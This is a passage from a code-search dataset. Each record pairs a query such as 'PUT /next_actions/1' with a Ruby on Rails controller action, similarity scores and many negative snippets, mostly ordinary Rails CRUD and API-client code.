respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @opinion }\n end\n end", "def new\n @outcome_mapping = OutcomeMapping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outcome_mapping }\n end\n end", "def new\n\n end", "def new\n\n end", "def new\n @objective = Objective.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objective }\n end\n end", "def new\n end", "def new\n end", "def new\n end" ]
[ "0.68126523", "0.67858696", "0.6607946", "0.6579629", "0.6529727", "0.6383268", "0.63546675", "0.63040096", "0.6294551", "0.62184983", "0.6213927", "0.6203718", "0.6202217", "0.6145577", "0.6137222", "0.6129728", "0.60786766", "0.6019078", "0.601624", "0.6010233", "0.60071415", "0.60041785", "0.59858406", "0.5962146", "0.5957937", "0.59535676", "0.59534", "0.5944087", "0.59402996", "0.59402525", "0.59341323", "0.59245974", "0.5924067", "0.59230596", "0.5922227", "0.59014946", "0.58973926", "0.58930624", "0.5889831", "0.5886981", "0.5882097", "0.58803755", "0.5848456", "0.5841347", "0.5829183", "0.5825244", "0.58246064", "0.58222115", "0.58205664", "0.5820192", "0.5810163", "0.58091074", "0.5804417", "0.5804417", "0.5804417", "0.58023375", "0.57990587", "0.57926106", "0.5792143", "0.5787861", "0.57752633", "0.5774759", "0.5773903", "0.5770873", "0.5768994", "0.5765796", "0.5765755", "0.57631195", "0.5762848", "0.57586116", "0.5758526", "0.5758526", "0.575455", "0.5753464", "0.57437336", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5740288", "0.5737652", "0.57358867", "0.5732998", "0.5726665", "0.57247317", "0.57247317", "0.57201725", "0.57177526", "0.57137793", "0.57137793", "0.57104295", "0.5708967", "0.5708967", "0.5708967" ]
0.80571014
0
POST /next_actions POST /next_actions.json
def create if params[:project_id] project = Project.find(params[:project_id]) @next_action = current_user.next_actions.build(params[:act]) @next_action.project_id = project.id respond_to do |format| if @next_action.save format.html { redirect_to project, notice: 'Next Action was successfully created.' } format.json { render json: @next_action, status: :created, location: @next_action } else format.html { render action: "new" } format.json { render json: @next_action.errors, status: :unprocessable_entity } end end else @next_action = current_user.next_actions.build(params[:act]) respond_to do |format| if @next_action.save format.html { redirect_to @next_action, notice: 'Next Action was successfully created.' } format.json { render json: @next_action, status: :created, location: @next_action } else format.html { render action: "new" } format.json { render json: @next_action.errors, status: :unprocessable_entity } end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @next_action = current_user.next_actions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_action }\n end\n end", "def next_actions!\n actions = migrate_actions :mapper\n actions += migrate_actions :reducer\n actions += reduce_actions\n actions += map_actions\n actions += finalize_actions\n actions\n end", "def next_actions(prior_action_ids, options={})\n return send_message(SkyDB::Message::NextActions.new(prior_action_ids, options))\n end", "def show\n @next_action = NextAction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @next_action }\n end\n end", "def next_action\n # puts \"Sequence#next_action\"\n reset_cur_action_repeat\n @action_index = (@action_index + 1) % @sub_actions.length\n @cur_repeat -= 1 if @action_index.zero?\n\n setup_action unless complete?\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def parse(json)\n actions = super(json)\n return [] if actions.nil?\n actions.collect do |raw_action|\n action = Action.new\n action.id = raw_action[\"id\"]\n action.name = raw_action[\"name\"]\n action.name_show = raw_action[\"name_show\"]\n action.done = raw_action[\"done\"] == 1\n action.done_time = raw_action[\"done_time\"]\n action.time = raw_action[\"time\"]\n action.next = raw_action[\"next\"] == \"next\"\n action.project = Nozbe::Project.new\n action.project.id = raw_action[\"project_id\"]\n action.project.name = raw_action[\"project_name\"]\n action.context = Nozbe::Context.new\n action.context.id = raw_action[\"context_id\"]\n action.context.name = raw_action[\"context_name\"]\n action.context.icon = raw_action[\"context_icon\"]\n action\n end\n end", "def actions\n client.actions\n end", "def perform_next_action\n return false if @actions.empty?\n action = @actions.pop\n log_debug(\"Current action : #{action}\")\n send(\"perform_action_#{action[:type]}\", action)\n return true\n end", "def update\n @next_action = NextAction.find(params[:id])\n\n respond_to do |format|\n if @next_action.update_attributes(params[:act])\n format.html { redirect_to @next_action, notice: 'Next Action was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @next_action = NextAction.find(params[:id])\n @next_action.destroy\n\n respond_to do |format|\n format.html { redirect_to actions_url }\n format.json { head :no_content }\n end\n end", "def continue\n fail 'This is the last page' unless continue?\n\n action = @action.merge(@metadata.fetch('continue'))\n\n self.class.new(action, merge_responses(JSON.parse(action.perform)))\n end", "def actions!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n\n type = ACTIONS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 142:11: 'actions'\n match( \"actions\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end", "def next_observation # :nologin: :norobots:\n redirect_to_next_object(:next, Observation, params[:id].to_s)\n end", "def next\n puts 'Clicked next'\n go_to_next_diff_or_build_page\n # Navigate to the next diff that needs approval\n end", "def post(action, **args); end", "def next_phase\n\t\t@current = Iteration.get_current\n\t\[email protected] = case @current.status\n\t\t\t\twhen \"ideas\" then \"proposals\"\n\t\t\t\twhen \"proposals\" then \"voting\"\n\t\t\t\telse \"voting\"\n\t\t\tend\n\t\[email protected]\n\t\trender json: {:status => @current.status}\n\tend", "def actions\n return @actions if @actions\n @actions = Client.get(\"/organizations/#{id}/actions\").json_into(Action)\n end", "def add_actions(count)\n update_attributes(actions: actions + count)\n end", "def list\n List.from_response client.get(\"/actions/#{action_id}/list\")\n end", "def get_action(data)\n RestClient::Request.execute(:method => :post, :url => action_path, :payload => data, :timeout => TIMEOUT, :open_timeout => TIMEOUT) do |response, request, result|\n if response.code == 200\n begin\n JSON.parse(response).symbolize_keys\n rescue => e\n logger.info \"Exception #{e} raised in parsing response.\"\n {:action => \"fold\"}\n end\n else\n {:action => \"fold\"}\n end\n end\n rescue\n {:action => \"fold\"}\n end", "def actions() ; info[:actions] ; end", "def actions() ; info[:actions] ; end", "def screenActions\n actionobjects = @actionObjects[@action]\n return if actionobjects == nil\n actionobjects.each do |obj|\n if obj['Value'] == \"uploadfile:@step['Parameter1']\"\n p\n end\n waitTime = obj['Wait'].to_s.to_f\n sleep(waitTime)\n objectAction(obj)\n if @skipCurrentStep == true\n break\n end\n end\n end", "def create\n @next_step = NextStep.new(params[:next_step])\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to :back, notice: 'Next step was successfully created.' }\n format.json { render json: @next_step, status: :created, location: @next_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def actions; end", "def index\n @user_actions = UserAction.all\n render json: @user_actions\n end", "def actions\n []\n end", "def index\n @next_steps = NextStep.all\n end", "def add_actions; end", "def create\n @next_step = NextStep.new(next_step_params)\n\n respond_to do |format|\n if @next_step.save\n format.html { redirect_to @next_step, notice: 'Next step was successfully created.' }\n format.json { render :show, status: :created, location: @next_step }\n else\n format.html { render :new }\n format.json { render json: @next_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @my_actions = MyAction.all\n end", "def post_aliases(actions)\n resp = post do |req|\n req.url \"/_aliases\"\n req.body = { :actions => Array.new(actions) }\n end\n resp.body\n end", "def create_action(page_name, email, options={})\n target = \"#{self.base_url}/action/\"\n body = { page: page_name, email: email }.merge self.parse_action_options(options)\n options = {\n basic_auth: self.auth,\n body: body.to_json,\n format: :json,\n headers: {'Content-Type' => 'application/json; charset=UTF-8'}\n }\n self.class.post(target, options)\n end", "def actions\n return @actions if @actions\n @actions = Client.get(\"/boards/#{id}/actions\").json_into(Action)\n end", "def actions=(value)\n @actions = value\n end", "def acquire_action\n case @event['action']\n when 'create'\n 'error'\n when 'resolve'\n 'success'\n end\n end", "def actions\n @actions ||= []\n end", "def test_should_flag_ON_INIT_PAGE_NEXT_when_clicking_next_on_valid_init_page\n post :init, :user=>{:first_name=>field_first_name, :last_name=>field_last_name}, :commit=>:next\n #assert_redirected_to :action=>second_page\n assert assigns['on_init_page_next']\n end", "def actions=(action)\n @actions << action \n end", "def process\n send_request @action\n end", "def resources_actions\n @resources_actions ||= []\n end", "def next\n next_button.click\n end", "def next\n next_button.click\n end", "def next\n next_button.click\n end", "def next\n next_button.click\n end", "def actions\n @actions ||= []\n end", "def actions\n @actions\n end", "def index\n @event_actions = EventAction.all\n end", "def create\n @actions = [] unless defined?(@actions)\n @actions << :create\n end", "def feed_action\n url = url_for :action => \"success_text\", :only_path => false\n \n data = {:template_id => ZackPublisher.find_bundle_id('story_action'), \n :template_data => {:role => \"use the force\", :comment => params[:comment], \n :video => {:video_src =>\"http://www.youtube.com/v/OssgMY_mkMc&hl=en&fs=1\", :preview_img => \"http://zacknmiri.com/images/f1.znm.png\"}\n }\n }\n \n feedStory = { :method => 'feedStory',\n :content => { :feed => data,\n :next => url }}\n render :text => feedStory.to_json\n end", "def resource_actions\n @resource_actions ||= []\n end", "def action\n end", "def api_post(action, data)\n api_request(action, data, 'POST')\n end", "def action_list(action_id, fields = \"all\")\n action_resource action_id, \"list\", fields: fields\n end", "def eds_action_url eds_action\n search_action_url + '?' + generate_next_url + '&eds_action=' + eds_action\n end", "def set_actions\n @actions = []\n end", "def next_page\n page = self.page() + 1\n request = @request.clone()\n request.replace_param( :page, page )\n @client.execute( request )\n end", "def action\n _action_obj.to_h\n end", "def actions\n @actions || []\n end", "def next\n Job.generate_next_weeks_work_order\n redirect_to '/'\n end", "def handle_action\n timeline_item = find_timeline_item(self.glass_item_id)\n\n # TODO: Should we uniq these? When glass doesn't have connection, it will queue up\n # actions, so users might press the same one multiple times.\n user_actions.uniq.each do |user_action|\n type = user_action[:type] == \"CUSTOM\" ? user_action[:payload] : user_action[:type]\n json_to_return = self.reply_request_hash ? self.reply_request_hash : self.params\n timeline_item.send(\"handles_#{type.downcase}\", json_to_return)\n end if user_actions\n end", "def friend_actions\n # next page is not ajax - remove last_row_id from return_to url to prevent ajax response\n return_to = params[:return_to]\n return_to = return_to.gsub(/&last_row_id=\\d+/,'')\n return_to = return_to.gsub(/(last_row_id=\\d+&)/,'')\n # check param\n id2 = params[:friend_id]\n user2 = User.find_by_id(id2)\n if !user2\n logger.debug2 \"invalid request. Friend with id #{id2} was not found\"\n save_flash_key '.invalid_request'\n redirect_to return_to\n return\n end\n friend_action = params[:friend_action]\n login_user = @users.find { |user| user.provider == user2.provider }\n if !login_user or login_user.dummy_user?\n logger.debug2 \"invalid request. Friend action #{friend_action} not allowed. not logged in with a #{user2.provider} account\"\n save_flash_key '.invalid_request'\n redirect_to return_to\n return\n end\n allowed_friend_actions = user2.friend_status_actions(login_user).collect { |fa| fa.downcase }\n if !allowed_friend_actions.index(friend_action)\n logger.debug2 \"invalid request. Friend action #{friend_action} not allowed.\"\n logger.debug2 \"allowed friend actions are \" + allowed_friend_actions.join(', ')\n save_flash_key '.invalid_request'\n redirect_to return_to\n return\n end\n\n # friend actions: add_api_friend, remove_api_friend, send_app_friend_request, accept_app_friend_request, ignore_app_friend_request, remove_app_friend, block_app_user, unblock_app_user\n\n if %w(add_api_friend remove_api_friend).index(friend_action)\n # api friend actions\n # no facebook api dialogs to add and remove facebook friends - just redirect to users profile page at facebook\n redirect_to api_profile_url(user2)\n return\n end\n\n # do app friend action\n # for example send_app_friend_request with ok response send_app_friend_request_ok and error response send_app_friend_request_error\n postfix = user2.send(friend_action, login_user) ? \"_ok\" : \"_error\"\n save_flash_key \".#{friend_action}#{postfix}\", :appname => APP_NAME, :username => user2.short_user_name\n redirect_to return_to\n end", "def action\n end", "def click_on_next_button\n\n click_button NEXT_BUTTON\n sleep(THREAD_SLEEP_1)\n\n end", "def get_actions\n get_document.get_actions_yaml\n end", "def set_next\n @activity_sequence = ActivitySequence.find(params[:id]) \n @activity_sequence.set_next\n redirect_to myp_path(@activity_sequence.current_activity)\n end", "def event_actions(options = {})\n make_json_api_request :get, \"v2/#{account_id}/event_actions\", options\n end", "def addAction(action)\n @index += 1\n @actions -= @actions.drop(@index)\n @actions.push(action)\n end", "def ask_post\n page(MorePage).select_more_actions(\"Ask HN\")\n page(MorePage).page_handler(\"Ask HN\")\n page(FeedDetailsPage).touch_row\n page(NavTabBarPage).select_storytab(\"Reply\")\n page(SubmissionPage).create_post(\"reply post\")\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(SubmissionPage).touch_discard\n page(SubmissionPage).await\n page(MorePage).backpage\n page(MorePage).page_handler(\"Ask HN\")\n page(MorePage).backpage\n end", "def index\r\n @aes_actions = Action.all\r\n end", "def collection_post_action(action)\n action = action.to_s.gsub('bulk_', '').to_sym\n\n raise 'expected post, patch or put http action' unless (request.post? || request.patch? || request.put?)\n raise \"expected #{resource_name} to respond to #{action}!\" if resources.to_a.present? && !resources.first.respond_to?(\"#{action}!\")\n\n successes = 0\n\n ActiveRecord::Base.transaction do\n successes = resources.select do |resource|\n begin\n resource.public_send(\"#{action}!\") if EffectiveResources.authorized?(self, action, resource)\n rescue => e\n false\n end\n end.length\n end\n\n render json: { status: 200, message: \"Successfully #{action_verb(action)} #{successes} / #{resources.length} selected #{resource_plural_name}\" }\n end", "def next\n connection.write(\"next\")\n end", "def next\n connection.write(\"next\")\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reactions = args[:reactions] if args.key?(:reactions)\n end", "def list_actions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActionsApi.list_actions ...\"\n end\n if !opts[:'skip_count'].nil? && opts[:'skip_count'] < 0.0\n fail ArgumentError, 'invalid value for \"opts[:\"skip_count\"]\" when calling ActionsApi.list_actions, must be greater than or equal to 0.0.'\n end\n\n if !opts[:'max_items'].nil? && opts[:'max_items'] < 1.0\n fail ArgumentError, 'invalid value for \"opts[:\"max_items\"]\" when calling ActionsApi.list_actions, must be greater than or equal to 1.0.'\n end\n\n # resource path\n local_var_path = \"/action-definitions\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'skipCount'] = opts[:'skip_count'] if !opts[:'skip_count'].nil?\n query_params[:'maxItems'] = opts[:'max_items'] if !opts[:'max_items'].nil?\n query_params[:'orderBy'] = @api_client.build_collection_param(opts[:'order_by'], :csv) if !opts[:'order_by'].nil?\n query_params[:'fields'] = @api_client.build_collection_param(opts[:'fields'], :csv) if !opts[:'fields'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ActionDefinitionList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActionsApi#list_actions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def next\n if session[:ticket_index]\n next_ticket_idx = session[:ticket_index].to_i + 1\n if next_ticket_idx > session[:tickets].length\n # TODO -- Retrieve next 30 tickets?\n # TODO -- Return to index if past the actual end of tickets.\n end\n session[:ticket_index] = next_ticket_idx\n next_ticket_number = session[:tickets][next_ticket_idx]\n redirect_to :action => 'show', :project_id => params[:project_id], :id => next_ticket_number\n else\n index_action = { :action => 'index', :project_id => params[:project_id] }\n index_action.merge!(:bin_id => session[:bin_id]) if session[:bin_id]\n redirect_to index_action\n end\n end", "def index\n @action_items = Actionitem.find :all\n @actions = Action.find :all\n\n session[:current_action] = params[:action_id] || 1 \n\n @action_now = Action.find(session[:current_action])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @actionitems }\n end\n end", "def issue_action\n request.request_parameters['action']\n end", "def actions\r\n return @actions\r\n end", "def parse(json)\n res = super(json)\n @action.id = res[\"response\"]\n @action\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def perform(action, options = {})\n return unless %i(next step finish up down frame).include?(action)\n\n send(\"perform_#{action}\", options)\n end", "def action_step(*action_name, &block)\n\n # Instantiate a ViewStep object if symbol or string received\n action_name.each do |name|\n \n step = WebFlow::ActionStep.new(name.to_s)\n \n # Register this step in the flow repository\n register name.to_s, step\n \n # Execute the config block\n step.instance_eval(&block) if block_given?\n \n end\n\n end", "def run_actions; end", "def category_actions\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 10 )\n array = nil\n act = nil\n next_act = nil\n # - - - - @init action - - - -\n array = Array.new\n\n begin\n # at line 84:10: ';' ( WS )? 'actions' '=' '\\\"' act= action_location ( ( WS )? next_act= action_location )* '\\\"'\n match(T__11, TOKENS_FOLLOWING_T__11_IN_category_actions_441)\n # at line 84:14: ( WS )?\n alt_16 = 2\n look_16_0 = @input.peek(1)\n\n if (look_16_0 == WS)\n alt_16 = 1\n end\n case alt_16\n when 1\n # at line 84:14: WS\n match(WS, TOKENS_FOLLOWING_WS_IN_category_actions_443)\n\n end\n match(T__20, TOKENS_FOLLOWING_T__20_IN_category_actions_446)\n match(T__13, TOKENS_FOLLOWING_T__13_IN_category_actions_448)\n match(T__14, TOKENS_FOLLOWING_T__14_IN_category_actions_450)\n @state.following.push(TOKENS_FOLLOWING_action_location_IN_category_actions_454)\n act = action_location\n @state.following.pop\n # --> action\n array << (act && @input.to_s(act.start, act.stop))\n # <-- action\n # at line 85:10: ( ( WS )? next_act= action_location )*\n while true # decision 18\n alt_18 = 2\n look_18_0 = @input.peek(1)\n\n if (look_18_0.between?(WS, DIGIT) || look_18_0 == T__10 || look_18_0 == T__13 || look_18_0.between?(T__28, T__42))\n alt_18 = 1\n\n end\n case alt_18\n when 1\n # at line 85:12: ( WS )? next_act= action_location\n # at line 85:12: ( WS )?\n alt_17 = 2\n look_17_0 = @input.peek(1)\n\n if (look_17_0 == WS)\n alt_17 = 1\n end\n case alt_17\n when 1\n # at line 85:12: WS\n match(WS, TOKENS_FOLLOWING_WS_IN_category_actions_470)\n\n end\n @state.following.push(TOKENS_FOLLOWING_action_location_IN_category_actions_475)\n next_act = action_location\n @state.following.pop\n # --> action\n array << (next_act && @input.to_s(next_act.start, next_act.stop))\n # <-- action\n\n else\n break # out of loop for decision 18\n end\n end # loop for decision 18\n match(T__14, TOKENS_FOLLOWING_T__14_IN_category_actions_482)\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 10 )\n\n end\n\n return array\n end", "def new\n @next_step = NextStep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_step }\n end\n end", "def collect_predifined_actions(curr_smazzata, name)\r\n @action_queue = []\r\n curr_smazzata[:actions].each do |action|\r\n if action[:arg][0] == name\r\n @action_queue << ({:type => action[:type], :arg => action[:arg]})\r\n else\r\n #p action\r\n # action not for the algorithm player\r\n end\r\n end\r\n end", "def initialize\n @actions = []\n end", "def process_action(...)\n send_action(...)\n end", "def available_actions\n @available_actions ||= self.graph.from(self.current_state)\n end", "def index\n @player_actions = PlayerAction.all\n end", "def post\n if phase.has_key?('post')\n execute(\"post\", phase['post'])\n end\n end", "def next\n params[:topic] ||= ''\n @flash_cards = FlashCard.find(\n :all,\n :conditions => [\"lower(topic) = ?\", params[:topic].downcase],\n :order => :id\n )\n found = false\n @flash_card = @flash_cards.detect do |item|\n if found\n next true \n elsif item.id.to_s == params[:id] \n found = true\n end\n false \n end || @flash_cards.first\n\n respond_to do |format|\n format.json { render :json => @flash_card }\n end\n end", "def next\n perform_request(next_page_uri) if next?\n end" ]
[ "0.715589", "0.6899558", "0.6774813", "0.638255", "0.6101294", "0.5970754", "0.5946884", "0.5929872", "0.5887739", "0.57836694", "0.57672626", "0.573619", "0.5710224", "0.5674904", "0.56644535", "0.5661915", "0.5619158", "0.55812746", "0.5543693", "0.55302465", "0.5511056", "0.550687", "0.550687", "0.5489623", "0.54709285", "0.5458552", "0.54475707", "0.5421157", "0.5419199", "0.5401406", "0.5387746", "0.5377635", "0.5355337", "0.5350547", "0.53470653", "0.5332935", "0.53126824", "0.53001887", "0.52932537", "0.5281335", "0.5272112", "0.52580476", "0.5254828", "0.5254828", "0.5254828", "0.5254828", "0.5252817", "0.52281606", "0.5224338", "0.52159864", "0.52024364", "0.5197918", "0.51927847", "0.51795536", "0.51746315", "0.5163874", "0.51557004", "0.514755", "0.5143757", "0.5142795", "0.5135166", "0.5133729", "0.5129569", "0.5124773", "0.51131374", "0.5109936", "0.5105586", "0.51045734", "0.5103268", "0.50943804", "0.5093626", "0.5086226", "0.50834715", "0.50834715", "0.50701344", "0.5066299", "0.5066169", "0.5066169", "0.5066169", "0.5066169", "0.5066169", "0.50649387", "0.5062001", "0.50463617", "0.504541", "0.50405836", "0.5038077", "0.5029171", "0.50277704", "0.5022734", "0.5021302", "0.5012545", "0.5003196", "0.4997968", "0.49919876", "0.49880213", "0.49806285", "0.49743697", "0.49735588", "0.497032" ]
0.64456546
3
PUT /next_actions/1 PUT /next_actions/1.json
def update @next_action = NextAction.find(params[:id]) respond_to do |format| if @next_action.update_attributes(params[:act]) format.html { redirect_to @next_action, notice: 'Next Action was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @next_action.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def new\n @next_action = current_user.next_actions.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @next_action }\n end\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @workflow_invocation_actions = args[:workflow_invocation_actions] if args.key?(:workflow_invocation_actions)\n end", "def next_actions!\n actions = migrate_actions :mapper\n actions += migrate_actions :reducer\n actions += reduce_actions\n actions += map_actions\n actions += finalize_actions\n actions\n end", "def show\n @next_action = NextAction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @next_action }\n end\n end", "def create\n \n if params[:project_id]\n project = Project.find(params[:project_id])\n @next_action = current_user.next_actions.build(params[:act])\n @next_action.project_id = project.id\n \n respond_to do |format|\n if @next_action.save\n format.html { redirect_to project, notice: 'Next Action was successfully created.' }\n format.json { render json: @next_action, status: :created, location: @next_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n\n else\n @next_action = current_user.next_actions.build(params[:act])\n\n respond_to do |format|\n if @next_action.save\n format.html { redirect_to @next_action, notice: 'Next Action was successfully created.' }\n format.json { render json: @next_action, status: :created, location: @next_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @next_action.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n head :forbidden\n\n #@action = Action.find(params[:id])\n\n #if @action.update_attributes(params[:action])\n # head :no_content\n # else\n # render json: @action.errors, status: :unprocessable_entity\n # end\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reactions = args[:reactions] if args.key?(:reactions)\n end", "def destroy\n @next_action = NextAction.find(params[:id])\n @next_action.destroy\n\n respond_to do |format|\n format.html { redirect_to actions_url }\n format.json { head :no_content }\n end\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @operations = args[:operations] if args.key?(:operations)\n end", "def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end", "def next_action\n # puts \"Sequence#next_action\"\n reset_cur_action_repeat\n @action_index = (@action_index + 1) % @sub_actions.length\n @cur_repeat -= 1 if @action_index.zero?\n\n setup_action unless complete?\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @place_action_type_metadata = args[:place_action_type_metadata] if args.key?(:place_action_type_metadata)\n end", "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @place_action_links = args[:place_action_links] if args.key?(:place_action_links)\n end", "def 